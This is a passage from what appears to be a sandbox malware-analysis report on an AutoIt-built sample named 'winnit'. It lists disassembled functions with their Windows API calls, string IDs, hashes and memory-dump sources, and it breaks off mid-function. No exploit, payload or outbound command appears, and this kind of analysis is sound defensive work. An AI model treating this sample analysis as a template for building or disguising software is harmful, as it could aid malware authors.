                                          • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                          • String ID:
                                          • API String ID: 1996641542-0
                                          • Opcode ID: 986b613b673176228cb4450a08f1529217ef41401c565b70d78ab56513f75ec9
                                          • Instruction ID: 54f9b62fcda62aa723346272c8dd9df41431f52a5a8547e482d720a85b03e2e0
                                          • Opcode Fuzzy Hash: 986b613b673176228cb4450a08f1529217ef41401c565b70d78ab56513f75ec9
                                          • Instruction Fuzzy Hash: EE513B71D00209FFDB109FA4DC48EAE7BB9EB08320F214265F911BB2A1DB719940DB90
                                          Function 00B389D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00B38AC1
                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B38AD2
                                          • CharNextW.USER32(0000014E), ref: 00B38B01
                                          • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00B38B42
                                          • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00B38B58
                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B38B69
                                          • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00B38B86
                                          • SetWindowTextW.USER32(?,0000014E), ref: 00B38BD8
                                          • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00B38BEE
                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00B38C1F
                                          • _memset.LIBCMT ref: 00B38C44
                                          • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00B38C8D
                                          • _memset.LIBCMT ref: 00B38CEC
                                          • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B38D16
                                          • SendMessageW.USER32(?,00001074,?,00000001), ref: 00B38D6E
                                          • SendMessageW.USER32(?,0000133D,?,?), ref: 00B38E1B
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00B38E3D
                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B38E87
                                          • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B38EB4
                                          • DrawMenuBar.USER32(?), ref: 00B38EC3
                                          • SetWindowTextW.USER32(?,0000014E), ref: 00B38EEB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                          • String ID: 0
                                          • API String ID: 1073566785-4108050209
                                          • Opcode ID: 607c489505a4e758b7ceb547ea5bc8f2b473b61ba284082aa8567ffd1e70fe91
                                          • Instruction ID: 3bbc60b1de0926eddb2e07c1330b2f19c0baa41ab0828522c9be9158a58376dd
                                          • Opcode Fuzzy Hash: 607c489505a4e758b7ceb547ea5bc8f2b473b61ba284082aa8567ffd1e70fe91
                                          • Instruction Fuzzy Hash: 31E14EB1900319ABDB219F60CC85EFE7BB9EB05710F208196F915AB291DF709984DF62
                                          Function 00B3488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCursorPos.USER32(?), ref: 00B349CA
                                          • GetDesktopWindow.USER32 ref: 00B349DF
                                          • GetWindowRect.USER32(00000000), ref: 00B349E6
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B34A48
                                          • DestroyWindow.USER32(?), ref: 00B34A74
                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00B34A9D
                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B34ABB
                                          • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00B34AE1
                                          • SendMessageW.USER32(?,00000421,?,?), ref: 00B34AF6
                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00B34B09
                                          • IsWindowVisible.USER32(?), ref: 00B34B29
                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00B34B44
                                          • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00B34B58
                                          • GetWindowRect.USER32(?,?), ref: 00B34B70
                                          • MonitorFromPoint.USER32(?,?,00000002), ref: 00B34B96
                                          • GetMonitorInfoW.USER32(00000000,?), ref: 00B34BB0
                                          • CopyRect.USER32(?,?), ref: 00B34BC7
                                          • SendMessageW.USER32(?,00000412,00000000), ref: 00B34C32
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                          • String ID: ($0$tooltips_class32
                                          • API String ID: 698492251-4156429822
                                          • Opcode ID: e3330dee91421bbd652d91a57b59f57fa8481df589eeec40e43a97f273956c97
                                          • Instruction ID: f53a001ddefa0978d3dc34d2426d9514d623c78d1a79dd10a1e9ef24beb0d21f
                                          • Opcode Fuzzy Hash: e3330dee91421bbd652d91a57b59f57fa8481df589eeec40e43a97f273956c97
                                          • Instruction Fuzzy Hash: F0B17971608341AFDB04DF64C985B6BBBE8FF89300F108A5CF5999B2A1DB70E805CB55
                                          Function 00B1449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00B144AC
                                          • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00B144D2
                                          • _wcscpy.LIBCMT ref: 00B14500
                                          • _wcscmp.LIBCMT ref: 00B1450B
                                          • _wcscat.LIBCMT ref: 00B14521
                                          • _wcsstr.LIBCMT ref: 00B1452C
                                          • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00B14548
                                          • _wcscat.LIBCMT ref: 00B14591
                                          • _wcscat.LIBCMT ref: 00B14598
                                          • _wcsncpy.LIBCMT ref: 00B145C3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                          • API String ID: 699586101-1459072770
                                          • Opcode ID: fd99902d78fefc630587e596d90c92a89ef7a2c0feb3632c6200e43ae21f5779
                                          • Instruction ID: db74fbeb66e7789ebb616ff5b2965dba5752e0e7a8da7725288cbc72ab61f9e5
                                          • Opcode Fuzzy Hash: fd99902d78fefc630587e596d90c92a89ef7a2c0feb3632c6200e43ae21f5779
                                          • Instruction Fuzzy Hash: 4141E332A002017BDB10AA74CD47FFF77ACEF52710F5005ABF906E6292EF759A0196A5
                                          Function 00AB27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AB28BC
                                          • GetSystemMetrics.USER32(00000007), ref: 00AB28C4
                                          • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AB28EF
                                          • GetSystemMetrics.USER32(00000008), ref: 00AB28F7
                                          • GetSystemMetrics.USER32(00000004), ref: 00AB291C
                                          • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00AB2939
                                          • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00AB2949
                                          • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00AB297C
                                          • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00AB2990
                                          • GetClientRect.USER32(00000000,000000FF), ref: 00AB29AE
                                          • GetStockObject.GDI32(00000011), ref: 00AB29CA
                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 00AB29D5
                                            • Part of subcall function 00AB2344: GetCursorPos.USER32(?), ref: 00AB2357
                                            • Part of subcall function 00AB2344: ScreenToClient.USER32(00B757B0,?), ref: 00AB2374
                                            • Part of subcall function 00AB2344: GetAsyncKeyState.USER32(00000001), ref: 00AB2399
                                            • Part of subcall function 00AB2344: GetAsyncKeyState.USER32(00000002), ref: 00AB23A7
                                          • SetTimer.USER32(00000000,00000000,00000028,00AB1256), ref: 00AB29FC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                          • String ID: AutoIt v3 GUI
                                          • API String ID: 1458621304-248962490
                                          • Opcode ID: 68e6597d2f90f3b89d50f3f354066f3c2480baa2a6273ee6d1baf3ecfda03b4b
                                          • Instruction ID: f7c73f7b683c9d08dc585f6df0e9009f24719c8655bf5c1704904fea36771119
                                          • Opcode Fuzzy Hash: 68e6597d2f90f3b89d50f3f354066f3c2480baa2a6273ee6d1baf3ecfda03b4b
                                          • Instruction Fuzzy Hash: 31B15071A0020AEFDB14DFA8DD45BED7BB5FB08311F20422AFA19E72A1DB749841CB51
                                          Function 00B0A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClassNameW.USER32(?,?,00000100), ref: 00B0A47A
                                          • __swprintf.LIBCMT ref: 00B0A51B
                                          • _wcscmp.LIBCMT ref: 00B0A52E
                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00B0A583
                                          • _wcscmp.LIBCMT ref: 00B0A5BF
                                          • GetClassNameW.USER32(?,?,00000400), ref: 00B0A5F6
                                          • GetDlgCtrlID.USER32(?), ref: 00B0A648
                                          • GetWindowRect.USER32(?,?), ref: 00B0A67E
                                          • GetParent.USER32(?), ref: 00B0A69C
                                          • ScreenToClient.USER32(00000000), ref: 00B0A6A3
                                          • GetClassNameW.USER32(?,?,00000100), ref: 00B0A71D
                                          • _wcscmp.LIBCMT ref: 00B0A731
                                          • GetWindowTextW.USER32(?,?,00000400), ref: 00B0A757
                                          • _wcscmp.LIBCMT ref: 00B0A76B
                                            • Part of subcall function 00AD362C: _iswctype.LIBCMT ref: 00AD3634
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                          • String ID: %s%u
                                          • API String ID: 3744389584-679674701
                                          • Opcode ID: 4ae556d2cc63ec2437574ec72672411e752ca41bacde032647a0d54fd4f3006a
                                          • Instruction ID: 16f174c54e47afba7e0c37f92c0bb101eaec871ef96ba17893a9cad63fb68e85
                                          • Opcode Fuzzy Hash: 4ae556d2cc63ec2437574ec72672411e752ca41bacde032647a0d54fd4f3006a
                                          • Instruction Fuzzy Hash: EFA1DF31604706AFDB15DF60C884FAABBE8FF54354F108A69F99AD2190DB30ED45CB92
                                          Function 00B0AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClassNameW.USER32(00000008,?,00000400), ref: 00B0AF18
                                          • _wcscmp.LIBCMT ref: 00B0AF29
                                          • GetWindowTextW.USER32(00000001,?,00000400), ref: 00B0AF51
                                          • CharUpperBuffW.USER32(?,00000000), ref: 00B0AF6E
                                          • _wcscmp.LIBCMT ref: 00B0AF8C
                                          • _wcsstr.LIBCMT ref: 00B0AF9D
                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 00B0AFD5
                                          • _wcscmp.LIBCMT ref: 00B0AFE5
                                          • GetWindowTextW.USER32(00000002,?,00000400), ref: 00B0B00C
                                          • GetClassNameW.USER32(00000018,?,00000400), ref: 00B0B055
                                          • _wcscmp.LIBCMT ref: 00B0B065
                                          • GetClassNameW.USER32(00000010,?,00000400), ref: 00B0B08D
                                          • GetWindowRect.USER32(00000004,?), ref: 00B0B0F6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                          • String ID: @$ThumbnailClass
                                          • API String ID: 1788623398-1539354611
                                          • Opcode ID: 7dbdc700d87f6a0e96da138f39f9507cc3446c7534f72da298e358a8a4f48fd7
                                          • Instruction ID: b916e3808e3d241b97a79b448952fe1f9701a8c78ddb991622ae0af9c1f95884
                                          • Opcode Fuzzy Hash: 7dbdc700d87f6a0e96da138f39f9507cc3446c7534f72da298e358a8a4f48fd7
                                          • Instruction Fuzzy Hash: 4C819E711083069FDB05DF14C985FAA7BE8EF44354F1484AAFD859A0E2EB34DD49CBA2
                                          Function 00B0ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __wcsnicmp
                                          • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                          • API String ID: 1038674560-1810252412
                                          • Opcode ID: 8dd670efa1c669a30a735bcedca5dcd588d8a83ceef504667cc5999f217e994f
                                          • Instruction ID: 22105040f53c54bc46fa5c5394b7249ff4d5f700f54f5d39a1e9e9e35af9117d
                                          • Opcode Fuzzy Hash: 8dd670efa1c669a30a735bcedca5dcd588d8a83ceef504667cc5999f217e994f
                                          • Instruction Fuzzy Hash: 84318631988309AADA14FAA0DF43EEE7BE8DF10754F2005A5F402711E6EF555F14C652
                                          Function 00B24FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00B25013
                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00B2501E
                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00B25029
                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00B25034
                                          • LoadCursorW.USER32(00000000,00007F01), ref: 00B2503F
                                          • LoadCursorW.USER32(00000000,00007F81), ref: 00B2504A
                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00B25055
                                          • LoadCursorW.USER32(00000000,00007F80), ref: 00B25060
                                          • LoadCursorW.USER32(00000000,00007F86), ref: 00B2506B
                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00B25076
                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00B25081
                                          • LoadCursorW.USER32(00000000,00007F82), ref: 00B2508C
                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00B25097
                                          • LoadCursorW.USER32(00000000,00007F04), ref: 00B250A2
                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00B250AD
                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00B250B8
                                          • GetCursorInfo.USER32(?), ref: 00B250C8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Cursor$Load$Info
                                          • String ID:
                                          • API String ID: 2577412497-0
                                          • Opcode ID: f6cc4f0889872785e5b7abec565ab3c6b40f8d8a5b0b7410cf38b4667a4b5e88
                                          • Instruction ID: b36972bcd4ab099e42db22b3387c6da5b6b525d71815d8f4933aceb6d6a6de46
                                          • Opcode Fuzzy Hash: f6cc4f0889872785e5b7abec565ab3c6b40f8d8a5b0b7410cf38b4667a4b5e88
                                          • Instruction Fuzzy Hash: B03115B1D0831A6ADF209FB69C899AFBFF8FF04750F50456AA50CE7280DA7865008F91
                                          Function 00B3A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B3A259
                                          • DestroyWindow.USER32(?,?), ref: 00B3A2D3
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00B3A34D
                                          • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00B3A36F
                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B3A382
                                          • DestroyWindow.USER32(00000000), ref: 00B3A3A4
                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00AB0000,00000000), ref: 00B3A3DB
                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B3A3F4
                                          • GetDesktopWindow.USER32 ref: 00B3A40D
                                          • GetWindowRect.USER32(00000000), ref: 00B3A414
                                          • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B3A42C
                                          • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00B3A444
                                            • Part of subcall function 00AB25DB: GetWindowLongW.USER32(?,000000EB), ref: 00AB25EC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                          • String ID: 0$tooltips_class32
                                          • API String ID: 1297703922-3619404913
                                          • Opcode ID: ff473e669df98c62f94cff095a620e3cc87f5243c860e26fb2d8439756320309
                                          • Instruction ID: 467e9b8353de20b30f673e6f4470cb152bca07e707781afd6b4c72a2a9757a84
                                          • Opcode Fuzzy Hash: ff473e669df98c62f94cff095a620e3cc87f5243c860e26fb2d8439756320309
                                          • Instruction Fuzzy Hash: 3F71BE71580205AFD725CF28CC49FAA7BE9FB88300F24456DF985873A1DBB5E942CB52
                                          Function 00B3C5FE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • DragQueryPoint.SHELL32(?,?), ref: 00B3C627
                                            • Part of subcall function 00B3AB37: ClientToScreen.USER32(?,?), ref: 00B3AB60
                                            • Part of subcall function 00B3AB37: GetWindowRect.USER32(?,?), ref: 00B3ABD6
                                            • Part of subcall function 00B3AB37: PtInRect.USER32(?,?,00B3C014), ref: 00B3ABE6
                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00B3C690
                                          • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B3C69B
                                          • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B3C6BE
                                          • _wcscat.LIBCMT ref: 00B3C6EE
                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00B3C705
                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00B3C71E
                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 00B3C735
                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 00B3C757
                                          • DragFinish.SHELL32(?), ref: 00B3C75E
                                          • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00B3C851
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                          • API String ID: 169749273-3440237614
                                          • Opcode ID: 3a7b8be4a7674fca794019ba6559c5a912d5ffd250931d932894ca77bf6a29b0
                                          • Instruction ID: 56f231cf49210145e7a8afa7d8370ccf1b8ff6a0c9d8f770717320a1bab43083
                                          • Opcode Fuzzy Hash: 3a7b8be4a7674fca794019ba6559c5a912d5ffd250931d932894ca77bf6a29b0
                                          • Instruction Fuzzy Hash: 98617B71508301AFC701EFA4CD85DAFBBE8EF89750F10092EF595931A1DB70AA49CB52
                                          Function 00B34392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CharUpperBuffW.USER32(?,?), ref: 00B34424
                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B3446F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharMessageSendUpper
                                          • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                          • API String ID: 3974292440-4258414348
                                          • Opcode ID: c2dd32cb807edde14f2c45cc14cae3037f5615f67076afe023c3642625acd397
                                          • Instruction ID: 790a7b9adbbf867913d6cfb353a4a9c6865a9da6af5788ae22ebcb8c73a3e736
                                          • Opcode Fuzzy Hash: c2dd32cb807edde14f2c45cc14cae3037f5615f67076afe023c3642625acd397
                                          • Instruction Fuzzy Hash: EA917C756047019FCB04EF20C592AAEB7E5AF95350F1588A9F8965B3A3CB34FD09CB81
                                          Function 00B3B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00B3B8B4
                                          • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00B391C2), ref: 00B3B910
